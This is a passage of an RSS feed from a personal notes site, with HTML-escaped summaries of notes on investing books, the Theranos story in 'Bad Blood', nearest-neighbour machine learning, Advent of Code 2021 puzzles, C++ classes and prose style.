must understand the underlying data model, e.g., &lt;code&gt;git rebase&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>06. Technical Analysis and the Random Walk Theory</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-2-how-the-pros-play-the-biggest-game-in-town/malkiel-06-technical-analysis-and-the-random-walk-theory/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-2-how-the-pros-play-the-biggest-game-in-town/malkiel-06-technical-analysis-and-the-random-walk-theory/</guid><description>&lt;h2 id="is-there-momentum-in-the-stock-market"&gt;Is There Momentum in the Stock Market?&lt;/h2&gt;
&lt;p&gt;Past stock prices cannot be used reliably to foretell future movements. Furthermore, transactions costs and taxes make it hard to exploit any short-term momentum.&lt;/p&gt;
&lt;p&gt;Flip a fair coin many times. Sequences of heads (or tails) and jumbled up sequences occur with equal probability.&lt;/p&gt;
&lt;h2 id="just-what-exactly-is-a-random-walk"&gt;Just What Exactly is a Random Walk?&lt;/h2&gt;
&lt;p&gt;In a random walk, knowing all prior moves is no help in predicting the next move.&lt;/p&gt;</description></item><item><title>06. Sunny</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/06-sunny/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/06-sunny/</guid><description>&lt;p&gt;Elizabeth met Sunny in Stanford&amp;rsquo;s Mandarin program. She was 18, he was 19 years older and married. Elizabeth had struggled and gotten bullied and Sunny helped her out.&lt;/p&gt;
&lt;p&gt;Sunny was arrogant and demeaning to employees. Sunny was a sucker for #hours clocked in. 8 hours a day showed a lack of dedication. But Elizabeth had utmost confidence in him.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;That Sunny (COO) and Elizabeth (CEO) were dating wasn&amp;rsquo;t disclosed to the board.&lt;/p&gt;</description></item><item><title>Predicting Continuous Targets Using NN</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/06-predicting-continuous-targets/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/06-predicting-continuous-targets/</guid><description>&lt;h2 id="return-the-average-value"&gt;Return the Average Value&lt;/h2&gt;
&lt;p&gt;One possible solution is to return the average value in the neighborhood, i.e.&lt;/p&gt;
&lt;p&gt;$$ \mathbb{M}_{k}(q) = \frac{1}{k} \sum_{i=1}^{k} t_i $$&lt;/p&gt;
&lt;p&gt;We can improve this by using weighted \(k-NN\):&lt;/p&gt;
&lt;p&gt;$$ \mathbb{M}_{k}(q) = \frac{ \sum_{i=1}^{k} \left( \frac{1}{dist(q, d_i)^2} \cdot t_i \right) }{ \sum_{i=1}^{k} \frac{1}{dist(q, d_i)^2} } $$&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The formula looks new. However, if \(x_1\) is weighted by \(w_1\) and \(x_2\) by \(w_2\), then the weighted average is:&lt;/p&gt;</description></item><item><title>Predicting Continuous Targets Using NN</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/predicting-continuous-targets/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/predicting-continuous-targets/</guid><description>&lt;h2 id="return-the-average-value"&gt;Return the Average Value&lt;/h2&gt;
&lt;p&gt;One possible solution is to return the average value in the neighborhood, i.e.&lt;/p&gt;
&lt;p&gt;$$ \mathbb{M}_{k}(q) = \frac{1}{k} \sum_{i=1}^{k} t_i $$&lt;/p&gt;
&lt;p&gt;We can improve this by using weighted \(k-NN\):&lt;/p&gt;
&lt;p&gt;$$ \mathbb{M}_{k}(q) = \frac{ \sum_{i=1}^{k} \left( \frac{1}{dist(q, d_i)^2} \cdot t_i \right) }{ \sum_{i=1}^{k} \frac{1}{dist(q, d_i)^2} } $$&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The formula looks new. However, if \(x_1\) is weighted by \(w_1\) and \(x_2\) by \(w_2\), then the weighted average is:&lt;/p&gt;</description></item><item><title>06. Momentum</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/06-momentum/</link><pubDate>Sun, 08 Jan 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/06-momentum/</guid><description>&lt;p&gt;Momentum involves giving the reader adequately developed and reasonably arranged material for a smooth ride.&lt;/p&gt;
&lt;p&gt;Rereading your own prose will not always disclose gaps since you may unconsciously fill them.&lt;/p&gt;
&lt;h2 id="the-devices-of-momentum"&gt;The Devices of Momentum&lt;/h2&gt;
&lt;p&gt;Make sure that a strand of an idea runs through the paragraph and the composition.&lt;/p&gt;
&lt;p&gt;Use recurring images associated with the idea in separate sentences, e.g. &lt;em&gt;insects, ant-heap, swarm,&lt;/em&gt; etc.&lt;/p&gt;
&lt;p&gt;Use repetition, but be wary if it becomes monotonous, e.g. I have a dream&lt;/p&gt;</description></item><item><title>AoC 2021 Day 07: The Treachery of Whales</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/TreacheryOfWhales/</link><pubDate>Sat, 05 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/TreacheryOfWhales/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-07'&gt;
 
 Day 7 - Advent of Code 2021&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/7" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 5, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="part-i-description"&gt;Part I Description&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;A giant whale has decided that your submarine is its next meal, and it&amp;rsquo;s much
faster than you are. There&amp;rsquo;s nowhere to run!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Suddenly, a swarm of crabs (each in its own tiny submarine - it&amp;rsquo;s too deep for
them otherwise) zooms in to rescue you! They seem to be preparing to blast a
hole in the ocean floor; sensors indicate a massive underground cave system just
beyond where they&amp;rsquo;re aiming!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>07. How Good is Fundamental Analysis? The Efficient Market Hypothesis</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-2-how-the-pros-play-the-biggest-game-in-town/malkiel-07-how-good-is-fundamental-analysis-the-emh/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-2-how-the-pros-play-the-biggest-game-in-town/malkiel-07-how-good-is-fundamental-analysis-the-emh/</guid><description>&lt;p&gt;Fundamentalists tout past earnings growth as a most reliable indicator of future growth. But academics have shown that past earnings growth are no help in predicting future growth.&lt;/p&gt;
&lt;h2 id="why-is-the-crystal-ball-so-clouded"&gt;Why is the Crystal Ball So Clouded?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Many of the influential changes that affect earnings prospects are unpredictable.&lt;/li&gt;
&lt;li&gt;Creative accounting procedures produce dubious reported earnings, e.g. pro forma earnings, pushing due payments to future years, etc.&lt;/li&gt;
&lt;li&gt;Analysts may make errors, e.g. over-estimating the market size. Analysts also tend to copy each others&amp;rsquo; forecasts.&lt;/li&gt;
&lt;li&gt;The best analysts go to the sales desk or to hedge funds.&lt;/li&gt;
&lt;li&gt;With discount brokerage firms and competitive commissions, analysts&amp;rsquo; main buck comes from new issues and trading profits. Analysts don&amp;rsquo;t want to piss off the companies that they cover.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="do-security-analysts-pick-winners-the-performance-of-the-mutual-funds"&gt;Do Security Analysts Pick Winners? The Performance of the Mutual Funds&lt;/h2&gt;
&lt;p&gt;From 1992 to 2017, the S&amp;amp;P 500 has had 9.69% while the average equity fund has had 8.55%.&lt;/p&gt;</description></item><item><title>Privacy [WWS 351]</title><link>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/_meta/</link><pubDate>Mon, 25 Mar 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/_meta/</guid><description/></item><item><title>07. Dr. J</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/07-dr-j/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/07-dr-j/</guid><description>&lt;p&gt;FB&amp;rsquo;s private valuation had doubled to $50b in 6 months. &amp;lsquo;Angry Birds&amp;rsquo; showed an app could be a business. Low interest rates made hedge funds consider private startups.&lt;/p&gt;
&lt;h2 id="walgreens"&gt;Walgreens&lt;/h2&gt;
&lt;p&gt;Dr. J - Walgreens Innovation. Theranos tests could boost revenues. Walgreens agrees to prepurchase $50m of cartridges and loan Theranos $25m.&lt;/p&gt;
&lt;p&gt;Walgreens: &lt;em&gt;we can&amp;rsquo;t risk a scenario where CVS has a deal with them in 6 months and it ends up being real.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Other Measures of Similarity in NN</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/07-other-measures-of-similarity/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/07-other-measures-of-similarity/</guid><description>&lt;p&gt;This list is not exhaustive. For example, &lt;span class="citation-ref"&gt;&lt;a href="#WolframSimilarity"&gt;&lt;/a&gt;&lt;/span&gt; lists
multiple distance and similarity measures for different kinds of data: numerical
(12), boolean (8), string (5), images &amp;amp; color (2), geospatial &amp;amp; temporal (4),
and general &amp;amp; mixed (1).&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Nominal variables are variables that have two or more categories, but which do
not have an intrinsic order. Dichotomous variables are nominal variables which
have only two categories. &lt;span class="citation-ref"&gt;&lt;a href="#LaerdVariableTypes"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Dichotomous attributes (e.g. yes-or-no) are distinct from binary attributes
(present vs. absent), e.g. binary attributes may be asymmetric in that
co-presence suggests similarity, but co-absence may or may not be considered
evidence of similarity. &lt;span class="citation-ref"&gt;&lt;a href="#StacksExch2013"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;</description></item><item><title>Other Measures of Similarity in NN</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/other-measures-of-similarity/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/other-measures-of-similarity/</guid><description>&lt;p&gt;Note: similarity indexes may not specify the 
&lt;a href="https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/01-similarity-measures/#the-similarity-metric"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 4 NIST specifications of a similarity metric
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Consider these two instances:&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;th&gt;\(f_1\)&lt;/th&gt;
 &lt;th&gt;\(f_2\)&lt;/th&gt;
 &lt;th&gt;\(f_3\)&lt;/th&gt;
 &lt;th&gt;\(f_4\)&lt;/th&gt;
 &lt;th&gt;\(f_5\)&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;d&lt;/td&gt;
 &lt;td&gt;0&lt;/td&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;0&lt;/td&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;q&lt;/td&gt;
 &lt;td&gt;0&lt;/td&gt;
 &lt;td&gt;0&lt;/td&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;\(CP(q, d)\), the number of the co-presences of binary features, is \(2\) because of \(f_3\) and \(f_4\).&lt;/p&gt;
&lt;p&gt;\(CA(q, d)\), the number of co-absences, is \(1\) because of \(f_1\).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="russel-rao"&gt;Russel-Rao&lt;/h2&gt;
&lt;p&gt;Where \(|q|\) is the total number of binary features considered:&lt;/p&gt;</description></item><item><title>AoC 2021 Day 08: Seven Segment Search</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/SevenSegmentSearch/</link><pubDate>Mon, 07 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/SevenSegmentSearch/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-08'&gt;
 
 Day 8 - Advent of Code 2021&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/8" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 7, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="part-i-description"&gt;Part I Description&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;You barely reach the safety of the cave when the whale smashes into the cave
mouth, collapsing it. Sensors indicate another exit to this cave at a much
greater depth, so you have no choice but to press on.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;As your submarine slowly makes its way through the cave system, you notice that
the four-digit seven-segment displays in your submarine are malfunctioning;
they must have been damaged during the escape. You&amp;rsquo;ll be in a lot of trouble
without them, so you&amp;rsquo;d better figure out what&amp;rsquo;s wrong.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>08. A New Walking Shoe: Modern Portfolio Theory</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-08-modern-portfolio-theory/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-08-modern-portfolio-theory/</guid><description>&lt;p&gt;Many academics agree that to beat the market, one needs to assume greater risk -
as opposed to trying to predict the market.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This seems simplified. Expected an answer like insider trading, given that it&amp;rsquo;s
hard to beat the market.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="defining-risk-the-dispersion-of-returns"&gt;Defining Risk: The Dispersion of Returns&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Business Conditions&lt;/th&gt;
 &lt;th&gt;Possibility of Occurrence&lt;/th&gt;
 &lt;th&gt;Expected Return (R)&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&amp;ldquo;Normal&amp;rdquo; economic conditions&lt;/td&gt;
 &lt;td&gt;\(\frac{1}{3}\)&lt;/td&gt;
 &lt;td&gt;10%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Rapid real growth without inflation&lt;/td&gt;
 &lt;td&gt;\(\frac{1}{3}\)&lt;/td&gt;
 &lt;td&gt;30%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Recession with inflation (stagflation)&lt;/td&gt;
 &lt;td&gt;\(\frac{1}{3}\)&lt;/td&gt;
 &lt;td&gt;–10%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;$$ \mathbb{E}[R] = \frac{1}{3}(.10) + \frac{1}{3}(.30) + \frac{1}{3}(-0.10) = 0.10 $$
$$ Var(R) = \frac{1}{3}(0.30–0.10)^2 + \frac{1}{3}(0.10–0.10)^2 + \frac{1}{3}(–0.10–0.10)^2 = 0.0267 $$&lt;/p&gt;</description></item><item><title>The Curse of Dimensionality and Feature Selection</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/08-curse-of-dimensionality-and-feature-selection/</link><pubDate>Thu, 09 Aug 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/08-curse-of-dimensionality-and-feature-selection/</guid><description>&lt;h2 id="the-curse-of-dimensionality"&gt;The Curse of Dimensionality&lt;/h2&gt;
&lt;p&gt;The predictive power of an induced model is based either on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Partitioning the feature space into regions based on clusters of training instances and assigning a query located in region \(X\) the target value of the training instances in that cluster.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Interpolating a target value from the target values of individual training instances that are near the query in the feature space.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, the &lt;strong&gt;sampling density&lt;/strong&gt; (the average density of training instances across the feature space) is an important factor.&lt;/p&gt;</description></item><item><title>The Curse of Dimensionality and Feature Selection</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/curse-of-dimensionality-and-feature-selection/</link><pubDate>Thu, 09 Aug 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/curse-of-dimensionality-and-feature-selection/</guid><description>&lt;h2 id="the-curse-of-dimensionality"&gt;The Curse of Dimensionality&lt;/h2&gt;
&lt;p&gt;The predictive power of an induced model is based either on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Partitioning the feature space into regions based on clusters of training instances and assigning a query located in region \(X\) the target value of the training instances in that cluster.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Interpolating a target value from the target values of individual training instances that are near the query in the feature space.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, the &lt;strong&gt;sampling density&lt;/strong&gt; (the average density of training instances across the feature space) is an important factor.&lt;/p&gt;</description></item><item><title>08. The miniLab</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/08-minilab/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/08-minilab/</guid><description>&lt;p&gt;The miniLab, 4S for short, stemmed from the need for a device that could perform more than just one class of tests. Theranos value prop was now minituarization, as opposed to invention. Current blood analyzers used too much blood and did too few tests.&lt;/p&gt;
&lt;p&gt;Kent, de-facto Chief Architect of the miniLab, had raised $215k on Kickstarter for his bike lights side project. Elizabeth and Sunny wanted the patent to be transferred to Theranos. The compromise was a leave of absence.&lt;/p&gt;</description></item><item><title>AoC 2021 Day 09: Smoke Basin</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/SmokeBasin/</link><pubDate>Wed, 16 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/SmokeBasin/</guid><description>Multi-dimensional arrays using &lt;code&gt;massiv&lt;/code&gt;; Fusion; Box vs. Unboxed; Connected Components; &lt;code&gt;Data.Set&lt;/code&gt;; Monadic map</description></item><item><title>09. Reaping Reward By Increasing Risk</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-09-reaping-reward-by-increasing-risk/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-09-reaping-reward-by-increasing-risk/</guid><description>&lt;p&gt;The mystical perfect risk measure is still beyond our grasp. That said, here are some common ones:&lt;/p&gt;
&lt;h2 id="beta-and-systematic-risk"&gt;Beta and Systematic Risk&lt;/h2&gt;
&lt;p&gt;Systematic risk of a security arises from the variability of the general stock market. Diversification does not reduce this risk.&lt;/p&gt;
&lt;p&gt;Unsystematic risk is the remaining variability that is due to a company&amp;rsquo;s particular factors, e.g. a strike. Diversification reduces this risk. There is no reason for extra compensation.&lt;/p&gt;
&lt;p&gt;Beta is a measure of the systematic risk. The broad market index is assigned a beta of 1. If a stock has a \( \beta = 2 \), then on average, it swings twice as far as the market.&lt;/p&gt;</description></item><item><title>09. The Wellness Play</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/09-the-wellness-play/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/09-the-wellness-play/</guid><description>&lt;p&gt;Safeway was doing poorly. Burd teased with a &amp;lsquo;wellness play&amp;rsquo;. He expected the clinics&amp;rsquo; to recoup the $350m renovation costs. Testing and rewarding employees would reduce Safeway&amp;rsquo;s health care costs.&lt;/p&gt;
&lt;p&gt;Theranos would courier samples to Palo Alto for testing. Theranos used a lancet on the index finger AND the good old hypodermic needle to the arm. The results could take 2 weeks as opposed to near-instantaneous. Theranos&amp;rsquo;s results tended to be way off, unless they had been outsourced. Burd brushed off these concerns.&lt;/p&gt;</description></item><item><title>Classes in C++</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/classes-in-cpp/</link><pubDate>Thu, 12 May 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/classes-in-cpp/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch4"&gt;&lt;/a&gt;&lt;/span&gt; quotes Doug McIlroy:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Those types are not &amp;ldquo;abstract&amp;rdquo;; they are as real as &lt;code&gt;int&lt;/code&gt; and &lt;code&gt;float&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the context of this quote?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;A class is a user-defined type provided to represent a concept in the
code of a program. Essentially, all language facilities beyond the
fundamental types, operators, and statements exist to help define better
class or to use them more conveniently. &lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch4"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Sometimes I have problems defining the concept that is going to be
encapsulated as a class. Other times, the naming is hard, and I result
to common patterns like &lt;code&gt;FooManager&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>AoC 2021 Day 10: Syntax Scoring</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/SyntaxScoring/</link><pubDate>Tue, 12 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/SyntaxScoring/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-10'&gt;
 
 Day 10 - Advent of Code 2021&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/10" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Apr 12, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="part-i"&gt;Part I&lt;/h2&gt;
&lt;p&gt;You ask the submarine to determine the best route out of the deep-sea cave, but
it only replies:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Syntax error in navigation subsystem on line: all of them
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The navigation subsystem is made of several lines containing chunks. There are
one or more chunks on each line, and chunks contain zero or more other chunks.
Adjacent chunks are not separated by any delimiter; if one chunk stops, the next
chunk (if any) can immediately start. Every chunk must open and close with one
of four legal pairs of matching characters:&lt;/p&gt;</description></item><item><title>10. Behavioral Finance</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-10-behavioral-finance/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-10-behavioral-finance/</guid><description>&lt;p&gt;Behavioralists believe that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Investors are not rational in present and future valuations of securities.&lt;/li&gt;
&lt;li&gt;There are substantial barriers to efficient arbitrage.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-irrational-behavior-of-individual-investors"&gt;The Irrational Behavior of Individual Investors&lt;/h2&gt;
&lt;h3 id="overconfidence"&gt;Overconfidence&lt;/h3&gt;
&lt;p&gt;People tend to be overconfident, e.g. in a survey, 94% of male respondents believed that their athleticism was above average.&lt;/p&gt;
&lt;p&gt;Hindsight bias makes the world seem predictable. Investors might think they can beat the market.&lt;/p&gt;
&lt;p&gt;The tendency of &amp;ldquo;growth&amp;rdquo; stocks to underperform &amp;ldquo;value&amp;rdquo; stocks shows how overoptimistic growth forecasts are.&lt;/p&gt;</description></item><item><title>10. Who Is LTC Shoemaker?</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/10-who-is-ltc-shoemaker/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/10-who-is-ltc-shoemaker/</guid><description>&lt;p&gt;Elizabeth had successfully pitched to James Mattis, 4-star General, about deploying Theranos in Afghanistan. General Mattis was known to look out for his troops.&lt;/p&gt;
&lt;p&gt;Elizabeth&amp;rsquo;s plan around regulation - the real blood analysis would be beamed to California to be done by professionals; only the CLIA compliance for the Palo Alto lab was needed - no FDA.&lt;/p&gt;
&lt;p&gt;Lt. Col. Shoemaker, responsible for the army&amp;rsquo;s compliance with medical regulations, was openly critical of the Theranos&amp;rsquo; workaround. He asked a colleague about it.&lt;/p&gt;</description></item><item><title>11. New Methods of Portfolio Construction: Smart Beta and Risk Parity</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-11-smart-beta-and-risk-parity/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-11-smart-beta-and-risk-parity/</guid><description>&lt;h2 id="smart-beta"&gt;Smart Beta&lt;/h2&gt;
&lt;p&gt;Using relatively passive-rule based strategies to gain greater than market returns without assuming more risk than investing in a low-cost total stock market index fund.&lt;/p&gt;
